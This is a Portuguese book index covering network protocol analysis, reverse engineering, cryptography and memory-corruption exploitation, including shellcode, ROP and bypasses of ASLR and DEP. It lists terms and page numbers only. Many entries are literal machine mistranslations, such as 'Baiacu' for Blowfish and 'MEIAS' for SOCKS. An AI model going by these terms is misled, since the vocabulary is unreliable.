encadeamento de blocos cifrados, 153–155

Livro de Códigos Eletrônico, 152

Contador Galois, 155

acolchoamento, 155–156
ataque de oráculo de preenchimento, 156–158

Triple DES, 151

Baiacu, 152

Booleanos, 41, 55

BPF (filtro de pacote Berkeley), 180

pontos de ruptura, 135, 137

BSD (Berkeley Sockets Distribution), 15

dados bss, 120

Classificação por bolha, 224

balde, 225

estouro de buffer

comprimento fixo, 211–213

monte, 248–249

inteiro, 214–215

pilha, 246–248
comprimento variável, 211, 213–214

Suíte Burp, 283–284

bytes, 38

Linguagem C#, 112, 189, 210

Linguagem C++, 112, 132

Arquivo [Link], 203

Instruções de chamada, 115

Camélia, 152

Núcleo do sofá, 21–22, 25, 103–105, 280–281

[Link], xxiv, 202

canonicalização, 220–221

Arquivo [Link], 203

Arquivo [Link], 180

capturando tráfego de rede


método ativo, 20

método passivo, 12–20

proxies

HTTP, 29–35

homem-no-meio, 20

encaminhamento de portas, 21–24

MEIAS, 24–29

reenvio do tráfego capturado, 182–183

rastreamento de chamadas do sistema

Dtrace, 17–18

Ferramenta Process Monitor, 18–19

strace, 16

retorno de carro, 56

portar bandeira, 117

CBC (encadeamento de blocos cifrados), 153–155


CDB (depurador), 236–241

cdecl, 199

cdll, 199

Emissor de Certificado, 200–202

Disciplina de Certificação, 200–201

certificado

autoridade, 170, 202

verificação da cadeia, 170–172

alfinetando, 177

lista de revogação, 171

raiz, 170

loja, 204

X.509, 53–54, 169–171, 173

[Link], 203

Variável de ambiente CFLAGS, 243


alteração da especificação de cifra (TLS), 176

tipos de caracteres, 212

codificação de caracteres

ASCII, 43

Unicode, 44–45

mapeamento de caracteres, 44–45

script chat_server.csx, 187

[Link] (SuperFunkyChat), 80–81, 200

Namespace ChatProgram (.NET), 190

[Link] (SuperFunkyChat), 80

dízima de verificação, 93–94, 107

Caracteres chineses, 44

ataque de texto plano escolhido, 162

CIL (linguagem intermediária comum), 137–138

Algoritmo de cifra e hash, 202


encadeamento de blocos de cifra (CBC), 153–155

modo de feedback de cifra, 159

texto cifrado, 146

cifras, 146

bloco, 150–159

fluxo, 158–159

substituição, 147

Conjuntos de caracteres CJK, 44

Compilador CLANG C, 243–244

Linguagem C, 112, 123, 132, 210, 212

Arquivos de classe, 141

Método [Link]() (Java), 194

certificado do cliente (TLS), 175

cliente aleatório (TLS), 173

Biblioteca C, 268
CLR (common language runtime), 137

Comando CMD, 255

Instrução CMP, 115, 119

código

erro, 262

executável. Veja códigos executáveis.

Autenticação de mensagens. Consulte os códigos de


autenticação de mensagens (MACs).

páginas (ASCII), 44

ponto, 44

seção, 120

ataques de colisão, 166–168

resistência a colisões (algoritmo de hashing), 165

injeção de comando, 228

linguagem intermediária comum (CIL), 137–138


Common Language Runtime (CLR), 137

Arquitetura de Broker de Requisição de Objetos Comuns


(CORBA), 22

linguagens compiladas, 113

compiladores, 113, 132, 243

compressão, 20, 108, 217

ramos condicionais, 118–119

Método CONNECT HTTP, 30

Método Connect(), 185, 192–193

Proxy CONNECT, 32

conectar chamada de sistema, 15

camada de conteúdo, 8–10

analisadores de conteúdo, 4

Valores de Content-Type, 57

caracteres de controle (ASCII), 43


fluxo de controle, 118

registradores de controle, 117

Janela de conversas (Wireshark), 84–85

biscoitos, 212, 273–276

CORBA (Common Object Request Broker Architecture), 22

modo contador, 159

CPU, 39

8086, 114

linguagem assembly e, 113

ataques de exaustão, 224–226

arquitetura do conjunto de instruções, 114–116

registros, 116–118

inteiros com sinal, 39

Arquitetura x86, 114–119, 125

acidentes
depuração, 238–240

exemplo, 240–243

Identificar a causa raiz de, 243–245

Método CreateInstance() (.NET), 191

Tarefas cron, 254

script entre sites (XSS), 58

[Link], 132

[Link], 142

criptoanálise, 146

criptografia

chave assimétrica, 159–164

configurável, 226

algoritmos de hashing, 164–165

bibliotecas, 132

chave simétrica, 149–159


Registro CS, 116, 118

Biblioteca ctypes (Python), 195

Utilitário de linha de comando curl, 31

Dante, 27

dados

controlando o fluxo de, 2

encapsulamento, 4–7

endianness de, 41

formatação e codificação, 2

comprimento implícito, 48–49

entrada, 92

integridade, 164

numérico, 38–41

acolchoado, 49
encerrado, 47–48

transmissão, 2, 6–7

comprimento variável, 56

Padrão de Criptografia de Dados (DES), 150–151

prevenção de execução de dados (DEP), 267–268

ataque de expansão de dados, 217

DataFrame, 108

datagrama, 5

soquete de datagrama, 122

Segurança da Camada de Transporte de Datagramas (DTLS), 172

seção de dados, 120

datas, 49–50, 55

Extensão .ddl, 137–138

depuradores, 111, 134–137, 236–240, 243–245, 258–259

depuração, 236–243
analisando o acidente em, 238–240

aplicações, 236

Credenciais padrão ou codificadas, 218

código shell, 258–259

começando, 236–237

pacote de símbolos de depuração (dSYM), 131

Instrução DEC, 115

números decimais, 55

descompilação, 113

descriptografia. Veja também criptografia

assimétrico, 160

cifra de bloco, 150

pontos de interrupção, 137

encadeamento de blocos cifrados, 155, 157–158

lidando com a ofuscação, 143–144


acolchoamento, 155–157

RSA, 161, 165

TLS, 200–202

Triple DES, 151

credenciais padrão, 218

gateway padrão, 8, 66

pools de memória definidos, 252–253

texto delimitado, 56

negação de serviço, 208

DEP (prevenção de execução de dados), 267–268

DER (Regras de Codificação Distintas), 53

DES (Data Encryption Standard), 150–151

Biscoito DES, 151

endereço de destino, 5

tradução de endereço de rede de destino (DNAT), 24, 68–71


DHCP. Consulte Protocolo de Configuração Dinâmica de Hosts
(DHCP).

Diffie, Whitfield, 162

Troca de chaves Diffie-Hellman (DH), 162–164

Algoritmo de Assinatura Digital (DSA), 165

desmontagem, 113

descobrir (pacote DHCP), 71

Função dissector(), 99

Arquivo [Link], 98

dissecadores

criando, 97

Lua, 99

análise de pacotes de mensagens, 100–103

Wireshark, 95–103

Regras de Codificação Distintas (DER), 53


Extensão DLL, 80, 120, 189

DNAT (tradução de endereço de rede de destino), 24, 68–71

DNSMasq, 287

dnsspoof, 34

Protocolo do Sistema de Nomes de Domínio (DNS), 3

Dotfuscator, 143–144

binário dotnet, 81

ataque de downgrade, 176

DSA (Algoritmo de Assinatura Digital), 165

Registro DS, 116, 118

dSYM (pacote de símbolos de depuração), 131

Dtrace, 16–18

Protocolo de Configuração Dinâmica de Hosts (DHCP), 63, 66

pacotes, 71–72

falsificação, 71–74
bibliotecas dinâmicas, 130, 195–196

vinculação dinâmica, 113–114, 121

engenharia reversa dinâmica

pontos de ruptura, 135, 137

definido, 134

registros de uso geral, 136

Registro EAX, 116, 123, 242, 258, 270

Registro EBP, 116–117, 124

Registro EBX, 116, 124

ECDH (Diffie-Hellman de Curva Elíptica), 202

Registro ECX, 116, 124

Registro EDI, 116–117, 124

Registro EDX, 116, 123–124

EFAULT, 262
Registro EFLAGS, 117, 119, 136

Registro EIP, 116–117, 135

Fundação Fronteira Eletrônica, 151

elementos (XML), 58

ELF (Executable Linking Format), 120, 131, 144

Diffie-Hellman de Curva Elíptica (ECDH), 202

curvas elípticas, 160

codificação

Base64, 60–61

dados binários, 59–61

hex, 59–60

por cento, 60

camada de codificação, 8–10

criptografia, 20, 30. Veja também descriptografia

AES, 133, 150, 152


assimétrico, 160

cifra de bloco, 150

pontos de interrupção, 137

encadeamento de blocos cifrados, 153–155

DES, 150–151

Livro de Códigos Eletrônico, 153

Conexão HTTP com, 108

chave, 146

bibliotecas, 132

constantes mágicas, 133

bloco de uso único, 148

acolchoamento, 155

chave pública. Veja criptografia de chave assimétrica.

RSA, 155, 161

cifras de substituição, 147


TLS, 175–176, 200–206

Triple DES, 151

XOR, 108–109, 148–149, 153–154

bibliotecas de criptografia, 132

endianness, 41–42

errno, 262

erros

códigos, 262

detecção e correção, 2

com uma diferença de um, 213

verboso, 221–222

Registro ES, 116, 118

Registro ESI, 116, 124

Registro ESP, 116–117, 124, 136, 270

eth0, 180
Ethernet, 3

Envenenamento por ARP, 74–75

quadro, 6, 8

Endereços MAC, 6, 74

roteamento de rede, 7–8

Captura passiva de rede, 12–13

rede simples, 6

Ettercap, 72–75, 287–288

códigos executáveis

aleatorização do layout do espaço de endereços, 272

formatos de arquivo, 119–120

chamadas de função em, 123

corrupção de memória e, 210, 246

sobrescritas parciais, 272

reaproveitamento, 188–199
em aplicações .NET, 189–193

em aplicações Java, 193–195

Dispositivos ROP, 269

chamadas de sistema, 259

não gerenciado, 195–199

formatos de arquivos executáveis, 119–120, 137

Formato de vinculação executável (ELF), 120, 131, 144

extensão .exe, 120, 137–138, 189

chamada de saída do sistema, 260–261

Linguagem de Marcação Extensível (XML), 58

Protocolo extensível de mensagens e presença (XMPP), 58

falso, 55

argumento fd, 261

Padrão Federal de Processamento de Informações (FIPS), 151


Rede Feistel, 151

Protocolo de Transferência de Arquivos (FTP), 24, 28

TEMPO DE ARQUIVO (Windows), 50

Protocolo de Intercâmbio de Informações Financeiras (FIX), 56

Pacote finalizado, 176

estouro de buffer de comprimento fixo, 211–213

dados de ponto flutuante, 40–41

Botão Seguir Fluxo (Wireshark), 85

Acompanhe a visualização do fluxo TCP (Wireshark), 88–89

rodapés, 4–5

Vulnerabilidade de string de formatação, 227

barra (/), 81, 220

Proxy HTTP de encaminhamento. Veja também proxy HTTP


reverso.

vantagens e desvantagens de, 31


redirecionando o tráfego para, 30–31

implementação simples de, 30–31

fragmentação, 51–52

FreeBSD, 16

FreeCAP, 27

lista gratuita, 251

análise de frequência, 147

Registro FS, 116, 118

FTP (Protocolo de Transferência de Arquivos), 24, 28

monitores de função, 111

teste de fuzz

definido, 234

fuzzer de mutação, 235

mais simples, 234

casos de teste, 235–236


ferramentas

American Fuzzy Lop, 285–286

Kali Linux, 286

Metasploit, 286

Scapy, 287

Sulley, 287

Modo Contador Galois (GCM), 155

portal

configurando, 66–67

Envenenamento por ARP, 74–77

Spoofing de DHCP, 71–74

padrão, 8, 66

encaminhando tráfego para, 71–77

lúpulo, 65
nós, 64

tabelas de roteamento em, 65–66

GB2312, 44

Compilador GCC, 196

GCM (Modo Contador Galois), 155

GDB (depurador), 236–241

Licença Pública Geral, 14

registros de uso geral, 116–117, 136

Solicitação GET, 8, 29

Método GetConstructor (.NET), 191

getDeclaredConstructor() (Java), 195

Método GetMethod() (.NET), 192–193

Google, 170, 176–177

Registro GS, 116, 118

páginas de guarda, 245


Editor de registro GUI, 67

Protocolo GVSP, 182

gzip, 217

aperto de mãos, 172

credenciais codificadas, 218

tabela hash, 225

Códigos de autenticação de mensagens hash (HMAC), 168–169

algoritmos de hash

resistência a colisões, 164

criptográfico, 164–165

não linearidade de, 164

resistência pré-imagem, 164

seguro, 164–165, 202

SHA-1, 133, 165–166


SHA-2, 165

SHA-3, 168

CABEÇA, 29

Cabeçalho,, 4–5

C, 17, 262

Ethernet, 6

HTTP, 24, 32–34

IP, 6

Número da chamada do sistema, 260

TCP, 5, 87

UDP, 5

estouro de buffer de heap, 248–249

implementações de heap, 250–251

Armazenamento de memória heap, 253

Hellman, Martin, 162


Hex Dump (Wireshark), 86–95

Determinação da estrutura do protocolo em, 88–89

colunas de informação em, 87

visualizando pacotes individuais em, 87

editor hexadecimal, 125

codificação hexadecimal, 59–60

Raios Hex, 125

altos privilégios, 254–255

HMAC (códigos de autenticação de mensagens hash), 168–169

Hopper, 289–290

lúpulo, 65

cabeçalho do host, 24, 32–33

ordem do anfitrião, 42

arquivo hosts, 23, 34

Hping, 282
HTTP (HyperText Transport Protocol), 3, 56

cabeçalho do host, 24

análise de protocolo de rede, 8–10

proxies. Veja também protocolos.

encaminhamento, 29–31

reverso, 32–35

EU

IBM, 151

ICS (Compartilhamento de Conexão com a Internet), 69

IDA Pro, 289

analisando variáveis de pilha e argumentos em, 128

analisando strings em, 132

janelas do depurador, 135–136

Janela EIP, 135

Janela ESP, 136


janela de desmontagem, 127–128

extraindo informações simbólicas em, 129–131

versão gratuita, 125–128

visualização do gráfico, 126

Identificação de código automatizado em, 133–134

Janela de importações, 131–132

interface principal, 127

visualizando bibliotecas importadas em, 131–132

janelas, 126–127

Formato IEEE, 40–41

Padrão IEEE para Aritmética de Ponto Flutuante (IEEE 754), 40

ILSpy, 138, 290

analisando o tipo em, 140–141

interface principal, 139

Janela de pesquisa, 139


dados de comprimento implícito, 48–49

método em banda, 253

bytes de entrada, 89–92

dados de entrada, 92

Instrução INC, 115

acesso incorreto a recursos, 220–223

canonicalização, 220–221

erros verbosos, 221–222

inet_pton, 122–123

divulgação de informações, 209

vetor de inicialização, 154

bloco de acolchoamento interno, 168

arquitetura do conjunto de instruções (ISA), 114–116

estouros de inteiros, 214–215

números inteiros
assinado, 39

protocolos de texto, 55

sem assinatura, 38

comprimento variável, 39–40

Intel, 114

Sintaxe Intel, 116

Compartilhamento de Conexão com a Internet (ICS), 69

Camada de Internet, 3

Protocolo de Internet (IP), 2

Conjunto de Protocolos de Internet (IPS)

encapsulamento de dados, 4–7

transmissão de dados, 6–7

definido, 3

camadas, 3

roteamento de rede, 7–8


línguas interpretadas, 112

intérpretes, 112

Método Invoke() (.NET), 192–193

IP (Protocolo de Internet), 2

endereço IP

32 bits, 24

Envenenamento por ARP, 74–77

transmissão de dados, 6–7

destino, 18, 22

DNAT, 69–71

Falsificação de DNS, 34

arquivo hosts, 34

NAT, 68

roteamento de rede, 7–8

concha reversa, 266


SNAT, 68

Conexão SOCKS, 25

comando ipconfig, 69

comando iptables, 69

IPS. Consulte Conjunto de Protocolos da Internet (IPS).

IPv4, 3, 5, 24, 52, 122

IPv6, 3, 5–6, 25, 52, 67

ISA (arquitetura do conjunto de instruções), 114–116

Caracteres japoneses, 44

Java, 112, 210

aplicações, 141–142

tipos de reflexão, 194

reutilizando códigos em, 193–195

Arquivo Java (JAR), 141, 193–194


Código de bytes Java, 137

Descompilador Java, 288

Java Runtime, 27

JavaScript, 252

Notação de Objetos JavaScript (JSON), 57–58

Cliente TCP Java, 27

Instrução JCC, 115

JD-GUI, 142

Instrução JMP, 115, 119

Kali Linux, 286

modo kernel, 14

algoritmo de agendamento de chaves, 151

Caracteres coreanos, 44

Analisador de Criptografia, 134


L

bit menos significativo (LSB), 38

ataques de extensão de comprimento, 166–168

dados com prefixo de comprimento, 48

comprimentos, 107

LibPCAP, 278–279

alimentação de linha, 56

protocolos orientados a linhas, 56

ligação, 113–114

camada de enlace, 3, 6

Linux, 120

Falhas na implementação do ASLR em, 272

Configurando SNAT ativado, 69

Tarefas cron, 254

símbolos de depuração, 129


depurador, 236–241

bibliotecas dinâmicas, 196

habilitando o roteamento, 67

códigos de erro, 262

formato de arquivo executável, 131

Carregando biblioteca, 197

Proxy SOCKS, 27

strace, 16

little endian, 42, 122

LLDB (depurador), 236–241

Método Load() (.NET), 190

Método LoadFrom() (.NET), 190

variáveis locais, corrompendo, 274–275

localhost, 12

gravações de arquivos com privilégios baixos, 255


Lua, 95–103

Endereços MAC (Media Access Control), 6–7, 8, 74–77

código de máquina, 112–114, 120, 125

macOS, 16, 27–28, 120

símbolos de depuração, 129

depurador, 236–241

bibliotecas dinâmicas, 196

habilitando o roteamento, 67

Formato Mach-O, 120, 131, 144

MACs. Consulte códigos de autenticação de mensagens (MACs).

constantes mágicas, 132

aplicação por correio, 3

tópico principal, 121

Mallory, 281–282
malware, 23

comando man 2 syscall_name, 16

idiomas gerenciados

Java, 141–142

Aplicações .NET, 137–141

engenharia reversa, 137–144

proxy homem-no-meio, 20, 201

mascarando, 68

segredo mestre (TLS), 175

Algoritmo MD. Consulte o algoritmo de resumo de mensagem


(MD).

Endereços de Controle de Acesso ao Meio (MAC), 6–7, 8, 74–77

memória

escrita arbitrária de, 253–254

Armazenamento de memória heap, 253


vulnerabilidades de divulgação de informações, 270–271

desperdiçado, 250

canários da memória (biscoitos)

contornando variáveis locais corrompendo, 274–275

bypass com underflow do buffer de pilha, 275–276

detecção de estouros de pilha com, 273–276

Corrupção de memória. Veja também vulnerabilidades.

estouro de buffer, 210–215

ataque de expansão de dados, 217

falhas de alocação dinâmica de memória, 217

explorar medidas de mitigação, 266–276

randomização do layout do espaço de endereços, 270–273

prevenção de execução de dados, 266–267

programação orientada ao retorno, 268–270

explorando, 245–253
estouro de buffer de heap, 248–249

estouro de buffer de pilha, 246–248

Linguagens com segurança de memória versus linguagens sem


segurança de memória, 210

erro de um, 213

indexação de buffer fora dos limites, 216–217

ataques de exaustão de memória, 222–223

registradores de índice de memória, 117

seções de memória, 120

linguagens seguras para a memória, 210

linguagens inseguras em relação à memória, 210

Analisador de mensagens, 278

códigos de autenticação de mensagens (MACs)

ataques de colisão, 166–168

hash, 168–169
ataques de extensão de comprimento, 166–168

algoritmos de assinatura, 166–168

Comando de mensagem, 101–102

algoritmo de resumo de mensagem (MD), 164

MD4, 165

MD5, 133, 165–167

pacote de mensagens, 100–103

Metasploit, 286

Acessando cargas úteis, 265

vantagens e desvantagens de, 265–266

executando cargas úteis, 266

geração de shell code com, 265–266

Tipo MethodInfo (.NET), 192

Microsoft, 170

Analisador de mensagens da Microsoft, 278


MIME (Extensões de Correio Multiuso da Internet), 56–57

sinal de menos (-), 55

MIPS, 42, 137

Mitmproxy, 284–285

instrução mnemônica, 114

aritmética modular, 214

módulo, 161, 214

mono binário, 80

Projeto Mono, 137

bit mais significativo (MSB), 38

Instrução MOV, 115

Mozilla Firefox, 26

MSCORLIB, 141

MS-DOS, 119

Ferramenta msfvenom, 265–266


conjuntos de caracteres multibyte, 44

multiplexação, 51–52

Extensões de Correio Multiuso da Internet (MIME), 56–57

multitarefa, 120

namespace, 193

pares nome-valor (XML), 58

montador nasm, 256, 258, 263

NAT. Veja tradução de endereço de rede (NAT).

Aplicações .NET

biblioteca de classes base, 141

formatos de arquivo, 137–138

ILSpy, 138–141

tipos de ligação por reflexão, 192

tipos de reflexão, 190


reutilizando códigos em, 189–193

reutilização de códigos executáveis em

carregamento de montagem, 190–193

usando APIs de reflexão, 190

.NET Core, 80

.NET Reflector, 290–291

Netcat, 180–182, 234, 282

Classe NetClientTemplate, 184–185

comando netstat -r, 65

Montador Netwide, 256

rede, 1

ferramentas de teste de conectividade e protocolo

Hping, 282

Netcat, 282

Nmap, 282–283
monitoramento de conexões com DTrace, 16–18

proxies, 20–35

roteamento, 7–8

endereço de rede, 7, 20, 22, 52–53, 66, 71, 123

tradução de endereço de rede (NAT), 68–71

definido, 68

destino, 24, 68

fonte, 68–69

comunicação em rede, 4

Soquetes Berkeley modelo, 15

camadas, 3

ataque do tipo "homem no meio" em, 20

cifras simétricas, 150

usuário-para-kernel, 15

interface de rede, 121–124


Conexão do cliente com o servidor TCP, 122

Conexão de cliente TCP com o servidor, 121–122

Protocolo de Transferência de Notícias em Rede (NNTP), 59

ordem da rede, 42

Método newInstance() (Java), 195

Nmap, 282–283

NNTP (Network News Transfer Protocol), 59

nós, 1

portal, 64

Identificando por meio do endereçamento, 2

Mitigação de não execução (NX), 267

não-linearidade, 165

negação de serviço não persistente, 208

NULO, 263–264

dados numéricos
números decimais, 55

dados de ponto flutuante, 40–41

inteiros, 55

inteiros com sinal, 39

protocolos de texto, 55

inteiros sem sinal, 38

inteiros de comprimento variável, 39–40

Mitigação NX (sem execução), 267

OAEP (Optimal Asymmetric Encryption Padding), 162

ofuscação, 143–144

octetos, 38–40

fluxo de octetos, 57

erro de um, 213

oferta (pacote DHCP), 71


criptografia de chave única, 148

chamada de sistema aberta, 18

OpenSSL, 132

operandos, 115

sistema operacional

interface binária de aplicação, 123–124

formatos de arquivos executáveis, 119–120

interface de rede, 121–124

processos, 120–121

seções, 120

fios, 120–121

Preenchimento de Criptografia Assimétrica Ótima (OAEP), 162

OU instrução, 115

bytes de saída, 89

tráfego de saída, 89
bloco de acolchoamento externo, 168

método fora de banda, 253

indexação de buffer fora dos limites, 216–217

Modo de feedback de saída, 159

flag de estouro, 117

classes com escopo package-private, 193

pacotes, 6

Calculando o checksum de, 93–94

captura, 83–84

descoberta, 87–88

Identificação de estrutura com Hex Dump, 86–95

cheirando, 12–14

visualização, 87–88

ferramentas de embalagem, 134


dados preenchidos, 49

acolchoamento

cifras de bloco, 155–156

decriptação, 155–157

criptografia, 155

bloco interno, 168

OAEP, 162

ataque de oráculo, 156–158

bloco externo, 168

Criptografia RSA, 155, 162

Page Heap, 244–245

bandeira de paridade, 117

Classe do analisador sintático, 106, 185

script [Link], 183–184

análise
conversão binária e, 90

números decimais e, 55

ordem dos bytes (endianness) dos dados e, 41

Cabeçalho HTTP, 33

comando de mensagem, 101–102

pacote de mensagens, 100–103

fuzzer de mutação e, 235

protocolo, 107–108

Script Python para, 91

tráfego, 183

URL, 230

inteiros de comprimento variável, 40

sobrescritas parciais, 272–273

captura de rede passiva

vantagens e desvantagens de, 19–20


Dtrace, 16–18

captura de pacotes, 12–14

Ferramenta Process Monitor, 17–18

strace, 16

rastreamento de chamadas de sistema, 14–16

ferramentas

LibPCAP, 278–279

Analisador de mensagens da Microsoft, 278

TCPDump, 278–279

Wireshark, 12–13, 279–280

caminho, 220

$pc, 239

Arquivo PDB (banco de dados do programa), 129–131

PDP-11, 42

PDU (unidade de dados de protocolo), 4


Formato PE (Portable Executable), 120, 134, 144

PEID, 134

Formato PEM, 202

codificação percentual, 60

sigilo perfeito para frente, 177

caixas de permutação (P-Box), 152

negação persistente de serviço, 208

PGP (Pretty Good Privacy), 169

PHP, 255

PKI. Veja Infraestrutura de chave pública (PKI).

simples, 57

texto simples, 146

sinal de mais (+), 54

Protocolo Ponto a Ponto (PPP), 3

POP3 (Protocolo Postal 3), 4


Instruções POP, 115

porto, 2

números de porta, 5

Formato executável portátil (PE), 120, 134, 144

Proxy de encaminhamento de portas. Veja também proxies.

vantagens e desvantagens de, 23–24

vinculação a endereços de rede, 22

redirecionando o tráfego para, 22–23

implementação simples de, 21–22

POSIX, 15

Tempo POSIX/Unix, 50

POSTAGEM, 29

Protocolo Postal 3 (POP3), 4

PowerPC, 38

PPP (Protocolo Ponto a Ponto), 3


Análise prática de pacotes, 14

resistência da pré-imagem (algoritmo de hashing), 165

Segredo pré-mestre (TLS), 175

Pretty Good Privacy (PGP), 169

caracteres imprimíveis (ASCII), 43

Função printf, 227

Método Connect() privado (.NET), 192

expoente privado, 161

chave privada, 161, 165

PRNGs (geradores de números pseudoaleatórios), 149

Método Process(), 275–276

Ferramenta Process Monitor, 17–18

processos, 120–121

arquiteturas de processador, 42

Arquivo de banco de dados do programa (PDB), 129–131


fluxo do programa, 118–119

ProGuard, 143–144

modo promíscuo, 12

Flag PROT_EXEC, 257

Unidade de dados de protocolo (PDU), 4

pilha de protocolos, 3

protocolos

análise, 8–10, 105–106

binário, 38–49

mudança de comportamento de, 108–109

dízima de verificação, 93–94

datas, 49–50

determinando a estrutura de, 88–89

fragmentação, 51–52

funções de, 2
multiplexação, 51–52

endereço de rede, 52–53

testes de conectividade de rede e protocolo

Hping, 282

Netcat, 282

Nmap, 282–283

análise sintática, 107–108

segurança, 145–178

formatos binários estruturados, 53–54

Padrão de etiqueta, comprimento e valor (TLV), 50–51

texto, 54–58

vezes, 49–50

partes desconhecidas, 93

proxies

HTTP, 29–35
homem-no-meio, 20

encaminhamento de portas, 21–24

análise de protocolo com, 105–106

Preparando, 103–105

MEIAS, 24–29, 103

análise de tráfego com, 103–110

Proxificador, 27

pseudo-registradores, 239

geradores de números pseudoaleatórios (PRNGs), 149

Método público Connect() (.NET), 192

expoente público, 161

chave pública, 160–161, 165

Padrão de Criptografia de Chave Pública nº 1.5, 162

Padrão de Criptografia de Chave Pública nº 7 (PKCS#7), 155–156


criptografia de chave pública. Veja criptografia de chave
assimétrica.

Infraestrutura de chave pública (PKI), 169–172

verificação da cadeia de certificados, 170–172

definido, 169

teia de confiança, 169

Certificados X.509, 169–170

Classe PublicClass, 189

Método PublicMethod(), 189

Instrução PUSH, 115

Python, 210

conversões binárias, 90–92

chamando funções com, 199

Biblioteca ctypes, 195

tipos de dados, 198


protocolo de dissecção com, 90–95

Carregando biblioteca com, 197

reenviando tráfego UDP capturado com, 182–183

biblioteca struct, 90–92

sequência citada, 47–48

Função rand(), 149

geradores de números aleatórios, 149

Registro RAX, 257–260

Cifra de fluxo RC4, 176

RDP (Protocolo de Área de Trabalho Remota), 51

ler chamada de sistema, 15, 18, 122

função read_bytes(), 91

Função ReadData(), 108


Função ReadOutbound(), 109

Protocolo de mensagens em tempo real (RTMP), 29

Método Receive() (.NET), 193

chamada de sistema recv, 15, 122–123

chamada de sistema recvfrom, 15

reflexão, 189

registros

controle, 117

CS, 116, 118

DS, 116, 118

EAX, 116, 123, 242, 258, 270

EBP, 116–117, 124

EBX, 116, 124

ECX, 116, 124

EDI, 116–117, 124


EDX, 116, 123–124

EFLAG, 117, 119, 136

EIP, 116–117, 135

ES, 116, 118

ESI, 116, 124

ESP, 116–117, 124, 136, 270

FS, 116, 118

propósito geral, 116–117, 136

GS, 116, 118

índice de memória, 117

pseudo, 239

RAX, 257–260

arranhão, 123

seletor, 118

SS, 116
Arquitetura x86, 116–118

execução remota de código, 208

Protocolo de Área de Trabalho Remota (RDP), 51

Invocação de Método Remoto (RMI), 29

Chamada de Procedimento Remoto (RPC), 22

solicitação (pacote DHCP), 72

Solicitação de Comentários (RFCs), 42, 56–57

linha de pedidos, 30

redirecionamento de tráfego, 64–66

Campo RESP, 25

Instrução RET, 115

Ret2Libc, 269

Instrução RETN, 115

programação orientada ao retorno (ROP), 268–270

engenharia reversa
dinâmico, 134–137

línguas gerenciadas, 137–144

ofuscação, 143–144

recursos, 144

estático, 125–134

ferramentas

Hopper, 289–290

IDA Pro, 289

ILSpy, 290

Descompilador Java, 288

.NET Reflector, 290–291

Proxy HTTP reverso. Veja também proxy HTTP de


encaminhamento.

vantagens e desvantagens de, 35

cabeçalho do host, 32–33


redirecionando o tráfego para, 34

implementação simples de, 33

concha reversa, 266

Resumo Rico do Site (RSS), 58

Rijndael, 152

Rivest, Ron, 160

RMI (Invocação de Método Remoto), 29

certificado raiz, 170

ROP (programação orientada ao retorno), 268–270

comando route print (Windows), 65

roteador, 7–8

Envenenamento por ARP, 75–77

configurando, 66–67

definido, 64

habilitando DNAT, 70
habilitando SNAT, 68–69

roteamento

no Linux, 67

no macOS, 67

no Windows, 66

tabela de roteamento, 8, 65–66

RPC (Chamada de Procedimento Remoto), 22

Criptografia RSA, 149

algoritmo, 160–162

acolchoamento, 155, 162

algoritmo de assinatura, 165

RSS (Rich Site Summary), 58

Rubi, 210

Função run(), 187

tempo de execução, 137


S

Método say_hello(), 197

Método say_string(), 197

Função say_struct(), 199

Busca de hosts (Ettercap), 76

Scapy, 287

registros de rascunho, 123

linguagens de script, 112

seções (memória), 120

algoritmo de hash seguro (SHA), 164

SHA-1, 133, 165–166

SHA-2, 165

SHA-3, 168

Secure Sockets Layer (SSL). Consulte Transport Layer Security


(TLS).
segurança, 145–178

criptografia, 146–149

Infraestrutura de chave pública (PKI), 169–172

geradores de números aleatórios, 149

requisitos, 145–146

algoritmos de assinatura, 164–169

criptografia de chave simétrica, 149–159

Segurança da Camada de Transporte, 172–177

segmento, 5, 87

Instrução SELECT, 229

registradores seletores, 118

certificado autoassinado, 170

Método Send() (.NET), 192–193

enviar chamada de sistema, 15, 122–123

chamada de sistema sendfrom, 15


Serpente, 152

servidor aleatório (TLS), 173

chave de sessão, 162

estado da sessão, 2

definir comando detach-on-fork desligado, 237

setAccessible() (Java), 195

SGML (Linguagem de Marcação Generalizada Padrão), 58

SHA. Veja algoritmo de hash seguro (SHA).

Shamir, Adi, 160

chave compartilhada, 163

código shell

Acessando cargas úteis, 265

técnica de depuração, 258–259

geração com Metasploit, 265–266

endereço relativo em sistemas de 32 e 64 bits, 263


concha reversa, 266

Definindo ponto de interrupção em, 258–259

chamadas de sistema, 259

saída, 260–261

escreva, 261–263

escrita, 255–266

shell_bind_tcp, 265

Shift-JIS, 44

Instrução SHL, 115, 119

Instrução SHR, 115

bandeira de sinalização, 117

algoritmos de assinatura, 146, 164–169

assimétrico, 165

algoritmos de hash criptográficos, 164–165

DSA, 165
códigos de autenticação de mensagens, 166–168

RSA, 165

simétrico, 166

inteiros com sinal, 39

Soma de verificação simples, 93–94

Protocolo Simples de Transporte de Correio (SMTP), 3–4, 56, 59

Protocolo Simples de Gerenciamento de Rede (SNMP), 53

esboços, 150

cheirando, 12–14, 73

estrutura sockaddr_in, 17, 122

chamada de sistema de soquete, 15

Proxy SOCKS, 103. Veja também proxies.

vantagens e desvantagens de, 28–29

Configuração de proxy do Firefox, 26

Cliente TCP Java, 27


visão geral, 24

redirecionando o tráfego para, 26–27

implementação simples de, 25–26

versões, 24–25

Propriedade do sistema socksProxyHost, 27

Propriedade do sistema socksProxyPort, 27

SOH (Início do Cabeçalho), 56

Solaris, 16, 120

endereço de origem, 5

código-fonte, 112

tradução de endereço de rede de origem (SNAT)

Configurando no Linux, 69

possibilitando, 68–69

$sp, 239

Arquitetura SPARC, 42, 118, 137


falsificação

DHCP, 71–74

DNS, 34

ferramentas, 287–288

Função de string sprintf, 212

SQL. Veja Linguagem de Consulta Estruturada (SQL).

Registro SS, 116

estouro de buffer de pilha, 246–248, 273–276

estouro negativo do buffer de pilha, 275–276

rastreamento de pilha, 239–240

variáveis de pilha, 128

Linguagem de Marcação Generalizada Padrão (SGML), 58

endereço inicial, 120

Início do cabeçalho (SOH), 56

ligação estática, 113–114


Engenharia reversa estática, 125–134. Veja também engenharia
reversa.

analisando strings em, 133

extraindo informações simbólicas em, 129–131

identificando a funcionalidade principal em, 129–134

variáveis de pilha e argumentos, 128

stdcall, 199

ataques de exaustão de armazenamento, 223–224

strace, 16

Função de string strcat, 212

Função strcpy para strings, 212

Função de string strcpy_s, 212

cifras de fluxo, 158–159. Veja também cifras de bloco.

cordas, 42–46

analisando, 132
Padrão ASCII, 42–44

Ferramenta de remoção, 131

biblioteca struct (Python), 90

